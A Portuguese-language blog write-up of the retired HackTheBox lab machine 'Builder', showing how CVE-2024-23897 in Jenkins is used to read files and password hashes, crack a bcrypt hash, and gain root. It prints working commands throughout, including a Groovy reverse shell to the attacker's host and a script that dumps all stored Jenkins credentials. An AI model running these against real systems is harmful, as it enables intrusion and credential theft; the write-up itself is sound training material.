DEV Community

Guilherme Martins
Guilherme Martins

Posted on

1

HackTheBox - Writeup Builder [Retired]

Hackthebox

Neste writeup iremos explorar uma máquina linux de nível medium chamada Builder que aborda as seguintes vulnerabilidades e técnicas de exploração

  • CVE-2024-23897 (Jenkins Arbitrary File Read)
  • Sensitive Data Exposure

Recon e user flag

Iremos iniciar realizando uma varredura utilizando o nmap para visualizar as portas abertas em nosso alvo:



┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/builder]
└─# nmap -sV --open -Pn 10.129.220.88
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-13 12:15 EST
Nmap scan report for 10.129.220.88
Host is up (0.26s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
8080/tcp open  http    Jetty 10.0.18
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


Enter fullscreen mode Exit fullscreen mode

Podemos ver que existem duas portas abertas em nosso alvo, a porta 22 do ssh e a porta 8080 que roda um Jetty na versão 10.0.18. O Jetty é um servidor web feito em java.

Ao acessar a porta 8080 pelo navegador temos a seguinte página:

Jenkins

Se trata de um Jenkins na versão 2.441. O jenkins é uma aplicação feita em java com foco em automação no desenvolvimento de software, realiza ações como build, test e deploy de aplicações.

Podemos notar que é preciso permissões e um usuário para conseguimos acesso a algumas funcionalidades do jenkins, como visualizar histórico de builds, lista os nodes (que possui somente 1 node built in que é nosso alvo).
Também podemos listar os usuários, que no caso temos somente o usuário jennifer:

User Status

Também conseguimos listar as credenciais:

Credentials

Conseguimos visualizar este conteúdo pelo acesso anônimo estar habilitado.
Outro ponto importante é que notamos que a REST API do jenkins esta habilitada também:

REST API

Todos estes pontos combinam com uma vulnerabilidade recente do Jenkins, a CVE-2024-23897 que se trata de um Arbitrary File Read na versão 2.441 e anteriores.

Esta vulnerabilidade ocorre devido a uma má sanitização de um input via CLI, que é utilizado através da REST API do jenkins. Ocorre em uma lib chamada args4j é utilizada para parsear argumentos via CLI. Existe uma feature que substitui o caracter @ seguido pelo path de um arquivo por um argumento com o conteúdo desse arquivo, o que nos permite ler arquivos no servidor.

No jenkins em nosso alvo conseguimos baixar o .jar que permitirá a comunicação com o jenkins.
Vamos realizar o download da seguinte forma:



┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/builder]
└─# wget http://10.129.220.88:8080/jnlpJars/jenkins-cli.jar
--2024-02-13 12:20:57--  http://10.129.220.88:8080/jnlpJars/jenkins-cli.jar
Connecting to 10.129.220.88:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3623400 (3.5M) [application/java-archive]
Saving to: ‘jenkins-cli.jar’

jenkins-cli.jar                          100%[=================================================================================>]   3.46M   547KB/s    in 8.6s    

2024-02-13 12:21:06 (413 KB/s) - ‘jenkins-cli.jar’ saved [3623400/3623400]



Enter fullscreen mode Exit fullscreen mode

Para explorar a vulnerabilidade executamos o seguinte comando:



┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/builder]
└─# java -jar jenkins-cli.jar -s http://10.129.220.88:8080/ -http connect-node "@/etc/passwd" | cut -d '\No' -f1
cut: the delimiter must be a single character
Try 'cut --help' for more information.
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin: No such agent "www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin" exists.
root:x:0:0:root:/root:/bin/bash: No such agent "root:x:0:0:root:/root:/bin/bash" exists.
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin: No such agent "mail:x:8:8:mail:/var/mail:/usr/sbin/nologin" exists.
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin: No such agent "backup:x:34:34:backup:/var/backups:/usr/sbin/nologin" exists.
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin: No such agent "_apt:x:42:65534::/nonexistent:/usr/sbin/nologin" exists.
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin: No such agent "nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin" exists.
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin: No such agent "lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin" exists.
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin: No such agent "uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin" exists.
bin:x:2:2:bin:/bin:/usr/sbin/nologin: No such agent "bin:x:2:2:bin:/bin:/usr/sbin/nologin" exists.
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin: No such agent "news:x:9:9:news:/var/spool/news:/usr/sbin/nologin" exists.
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin: No such agent "proxy:x:13:13:proxy:/bin:/usr/sbin/nologin" exists.
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin: No such agent "irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin" exists.
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin: No such agent "list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin" exists.
jenkins:x:1000:1000::/var/jenkins_home:/bin/bash: No such agent "jenkins:x:1000:1000::/var/jenkins_home:/bin/bash" exists.
games:x:5:60:games:/usr/games:/usr/sbin/nologin: No such agent "games:x:5:60:games:/usr/games:/usr/sbin/nologin" exists.
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin: No such agent "man:x:6:12:man:/var/cache/man:/usr/sbin/nologin" exists.
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin: No such agent "daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin" exists.
sys:x:3:3:sys:/dev:/usr/sbin/nologin: No such agent "sys:x:3:3:sys:/dev:/usr/sbin/nologin" exists.
sync:x:4:65534:sync:/bin:/bin/sync: No such agent "sync:x:4:65534:sync:/bin:/bin/sync" exists.

ERROR: Error occurred while performing this command, see previous stderr output.


Enter fullscreen mode Exit fullscreen mode

Conseguimos o retorno do /etc/passwd, podemos colocar o resultado em um arquivo para filtrar a saída:



┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/builder]
└─# awk -F 'No such agent' '{print $1}' passwd                      
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin: 
root:x:0:0:root:/root:/bin/bash: 
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin: 
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin: 
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin: 
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin: 
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin: 
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin: 
bin:x:2:2:bin:/bin:/usr/sbin/nologin: 
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin: 
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin: 
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin: 
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin: 
jenkins:x:1000:1000::/var/jenkins_home:/bin/bash: 
games:x:5:60:games:/usr/games:/usr/sbin/nologin: 
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin: 
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin: 
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync


Enter fullscreen mode Exit fullscreen mode

Podemos notar que existem dois usuários, root e jenkins. A home do root é /root e a home do usuário jenkins é /var/jenkins_home.

Com isso conseguimos buscar a user flag:



┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/builder]
└─# java -jar jenkins-cli.jar -s http://10.129.220.88:8080/ -http connect-node "@/var/jenkins_home/user.txt"          

ERROR: No such agent "aea470ff3badab8504db49aa7e1d9e34" exists.



Enter fullscreen mode Exit fullscreen mode

Escalação de privilégios e root flag

Agora que temos como ler arquivos podemos buscar por arquivos importantes que podem nos dar credenciais ou informações sensíveis.
Utilizando a documentação do jenkins conseguimos encontrar arquivos importantes, um deles é o /var/jenkins_home/users/users.xml que possui informações de usuários do jenkins:



┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/builder]
└─# java -jar jenkins-cli.jar -s http://10.129.220.88:8080/ -http connect-node "@/var/jenkins_home/users/users.xml"

<?xml version='1.1' encoding='UTF-8'?>: No such agent "<?xml version='1.1' encoding='UTF-8'?>" exists.
      <string>jennifer_12108429903186576833</string>: No such agent "      <string>jennifer_12108429903186576833</string>" exists.
  <idToDirectoryNameMap class="concurrent-hash-map">: No such agent "  <idToDirectoryNameMap class="concurrent-hash-map">" exists.
    <entry>: No such agent "    <entry>" exists.
      <string>jennifer</string>: No such agent "      <string>jennifer</string>" exists.
  <version>1</version>: No such agent "  <version>1</version>" exists.
</hudson.model.UserIdMapper>: No such agent "</hudson.model.UserIdMapper>" exists.
  </idToDirectoryNameMap>: No such agent "  </idToDirectoryNameMap>" exists.
<hudson.model.UserIdMapper>: No such agent "<hudson.model.UserIdMapper>" exists.
    </entry>: No such agent "    </entry>" exists.

ERROR: Error occurred while performing this command, see previous stderr output.


Enter fullscreen mode Exit fullscreen mode

Iremos adicionar o resultado em um arquivo para uma melhor leitura:



┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/builder]
└─# awk -F 'No such agent' '{print $1}' users.xml 
<?xml version='1.1' encoding='UTF-8'?>: 
      <string>jennifer_12108429903186576833</string>: 
  <idToDirectoryNameMap class="concurrent-hash-map">: 
    <entry>: 
      <string>jennifer</string>: 
  <version>1</version>: 
</hudson.model.UserIdMapper>: 
  </idToDirectoryNameMap>: 
<hudson.model.UserIdMapper>: 
    </entry>: 



Enter fullscreen mode Exit fullscreen mode

Essa informação é importante porque aqui descobrimos o diretório com as informações do usuário jennifer, que o jenkins cria com um número randomico: jennifer_12108429903186576833

Descobrimos assim a conteúdo do arquivo que contém as informações do usuário:



┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/builder]
└─# java -jar jenkins-cli.jar -s http://10.129.220.88:8080/ /var/jenkins_home/users/jennifer_12108429903186576833/config.xml
...
...


Enter fullscreen mode Exit fullscreen mode

Conseguimos visualizar melhor filtrando em um arquivo:



┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/builder]
└─# awk -F 'No such agent' '{print $1}' jennifer-config.xml 
<hudson.tasks.Mailer_-UserProperty plugin="mailer@463.vedf8358e006b_">: 
    <hudson.search.UserSearchProperty>: 
      <roles>: 
    <jenkins.security.seed.UserSeedProperty>: 
      </tokenStore>: 
    </hudson.search.UserSearchProperty>: 
      <timeZoneName></timeZoneName>: 
  <properties>: 
    <jenkins.security.LastGrantedAuthoritiesProperty>: 
      <flags/>: 
    <hudson.model.MyViewsProperty>: 
</user>: 
    </jenkins.security.ApiTokenProperty>: 
      <views>: 
        <string>authenticated</string>: 
    <org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty plugin="display-url-api@2.200.vb_9327d658781">: 
<user>: 
          <name>all</name>: 
  <description></description>: 
      <emailAddress>jennifer@builder.htb</emailAddress>: 
      <collapsed/>: 
    </jenkins.security.seed.UserSeedProperty>: 
    </org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty>: 
    </hudson.model.MyViewsProperty>: 
      <domainCredentialsMap class="hudson.util.CopyOnWriteMap$Hash"/>: 
          <filterQueue>false</filterQueue>: 
    <jenkins.security.ApiTokenProperty>: 
      <primaryViewName></primaryViewName>: 
      </views>: 
    </hudson.model.TimeZoneProperty>: 
    <com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty plugin="credentials@1319.v7eb_51b_3a_c97b_">: 
    </hudson.model.PaneStatusProperties>: 
    </hudson.tasks.Mailer_-UserProperty>: 
        <tokenList/>: 
    <jenkins.console.ConsoleUrlProviderUserProperty/>: 
        </hudson.model.AllView>: 
      <timestamp>1707318554385</timestamp>: 
          <owner class="hudson.model.MyViewsProperty" reference="../../.."/>: 
  </properties>: 
    </jenkins.model.experimentalflags.UserExperimentalFlagsProperty>: 
    </com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty>: 
    <hudson.security.HudsonPrivateSecurityRealm_-Details>: 
      <insensitiveSearch>true</insensitiveSearch>: 
          <properties class="hudson.model.View$PropertyList"/>: 
    <hudson.model.TimeZoneProperty>: 
        <hudson.model.AllView>: 
    </hudson.security.HudsonPrivateSecurityRealm_-Details>: 
      <providerId>default</providerId>: 
      </roles>: 
    </jenkins.security.LastGrantedAuthoritiesProperty>: 
    <jenkins.model.experimentalflags.UserExperimentalFlagsProperty>: 
    <hudson.model.PaneStatusProperties>: 
<?xml version='1.1' encoding='UTF-8'?>: 
  <fullName>jennifer</fullName>: 
      <seed>6841d11dc1de101d</seed>: 
  <id>jennifer</id>: 
  <version>10</version>: 
      <tokenStore>: 
          <filterExecutors>false</filterExecutors>: 
    <io.jenkins.plugins.thememanager.ThemeUserProperty plugin="theme-manager@215.vc1ff18d67920"/>: 
      <passwordHash>#jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a</passwordHash>: 


Enter fullscreen mode Exit fullscreen mode

E assim conseguimos o email jennifer@builder.htb e a hash da senha do usuário $2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a

Vamos utilizar o john the ripper para quebrar essa hash:



┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/builder]
└─# john -w=/usr/share/wordlists/rockyou.txt jennifer-hash                                                                   
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
princess         (?)     
1g 0:00:00:00 DONE (2024-02-14 17:12) 3.030g/s 109.0p/s 109.0c/s 109.0C/s 123456..liverpool
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 


Enter fullscreen mode Exit fullscreen mode

Conseguimos a senha do usuário jennifer, agora podemos logar na interface do jenkins:

Acesso ao Jenkins

O jenkins permite que seja executado scripts groovy através da sua interface pelo script console:

Script console

Aqui podemos executar comandos no node do jenkins, que em nosso caso é nosso alvo. Podemos inclusive pegar um shell com o seguinte script:



String host='10.10.16.25'; int port=4444; String cmd='bash'; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();


Enter fullscreen mode Exit fullscreen mode

Dessa forma vamos conseguir acesso somente como o usuário jenkins.
No entanto, conforme enumeramos inicialmente existe uma credencial de sistema com o nome root. Através do groovy podemos listar todas as credenciais do jenkins com o seguinte script:



// From https://www.dennisotugo.com/how-to-view-all-jenkins-secrets-credentials/
import jenkins.model.*
import com.cloudbees.plugins.credentials.*
import com.cloudbees.plugins.credentials.impl.*
import com.cloudbees.plugins.credentials.domains.*
import com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey
import org.jenkinsci.plugins.plaincredentials.StringCredentials
import org.jenkinsci.plugins.plaincredentials.impl.FileCredentialsImpl

def showRow = { credentialType, secretId, username = null, password = null, description = null ->
println("${credentialType} : ".padLeft(20) + secretId?.padRight(38)+" | " +username?.padRight(20)+" | " +password?.padRight(40) + " | " +description)
}

// set Credentials domain name (null means is it global)
domainName = null

credentialsStore = Jenkins.instance.getExtensionList('com.cloudbees.plugins.credentials.SystemCredentialsProvider')[0]?.getStore()
domain = new Domain(domainName, null, Collections.<DomainSpecification>emptyList())

credentialsStore?.getCredentials(domain).each{
if(it instanceof UsernamePasswordCredentialsImpl)
showRow("user/password", it.id, it.username, it.password?.getPlainText(), it.description)
else if(it instanceof BasicSSHUserPrivateKey)
showRow("ssh priv key", it.id, it.passphrase?.getPlainText(), it.privateKeySource?.getPrivateKey()?.getPlainText(), it.description)
else if(it instanceof StringCredentials)
showRow("secret text", it.id, it.secret?.getPlainText(), '', it.description)
else if(it instanceof FileCredentialsImpl)
showRow("secret file", it.id, it.content?.text, '', it.description)
else
showRow("something else", it.id, '', '', '')
}

return


Enter fullscreen mode Exit fullscreen mode

E assim temos uma chave privada:

Information Leak

Vamos salvar o conteúdo em um arquivo chamado id_rsa_root e alterar sua permissão para 600, pois chaves privadas precisam ter uma permissão mais restritiva para que serem utilizadas:



┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/builder]
└─# chmod 600 id_rsa_root


Enter fullscreen mode Exit fullscreen mode

Testando a chave privada como usuário root em nosso alvo conseguimos o acesso:



┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/builder]
└─# ssh -i id_rsa_root root@10.129.244.76
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-94-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

  System information as of Wed Feb 14 10:50:05 PM UTC 2024

  System load:              0.2177734375
  Usage of /:               66.0% of 5.81GB
  Memory usage:             33%
  Swap usage:               0%
  Processes:                247
  Users logged in:          0
  IPv4 address for docker0: 172.17.0.1
  IPv4 address for eth0:    10.129.244.76
  IPv6 address for eth0:    dead:beef::250:56ff:fe96:9588


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


Last login: Mon Feb 12 13:15:44 2024 from 10.10.14.40


Enter fullscreen mode Exit fullscreen mode

E assim conseguimos a root flag:



root@builder:~# ls -alh
total 32K
drwx------  5 root root 4.0K Feb 14 22:47 .
drwxr-xr-x 18 root root 4.0K Feb  9 15:45 ..
lrwxrwxrwx  1 root root    9 Apr 27  2023 .bash_history -> /dev/null
-rw-r--r--  1 root root 3.1K Oct 15  2021 .bashrc
drwx------  2 root root 4.0K Apr 27  2023 .cache
drwxr-xr-x  3 root root 4.0K Apr 27  2023 .local
-rw-r--r--  1 root root  161 Jul  9  2019 .profile
-rw-r-----  1 root root   33 Feb 14 22:47 root.txt
drwx------  2 root root 4.0K Feb  8 11:24 .ssh
root@builder:~# cat root.txt 
229275386e7300b9ad9425a630fa815c


Enter fullscreen mode Exit fullscreen mode

Finalizando a máquina Builder !

Pwned machine

Image of Timescale

🚀 pgai Vectorizer: SQLAlchemy and LiteLLM Make Vector Search Simple

We built pgai Vectorizer to simplify embedding management for AI applications—without needing a separate database or complex infrastructure. Since launch, developers have created over 3,000 vectorizers on Timescale Cloud, with many more self-hosted.

Read full post →

Top comments (0)

Image of Docusign

🛠️ Bring your solution into Docusign. Reach over 1.6M customers.

Docusign is now extensible. Overcome challenges with disconnected products and inaccessible data by bringing your solutions into Docusign and publishing to 1.6M customers in the App Center.

Learn more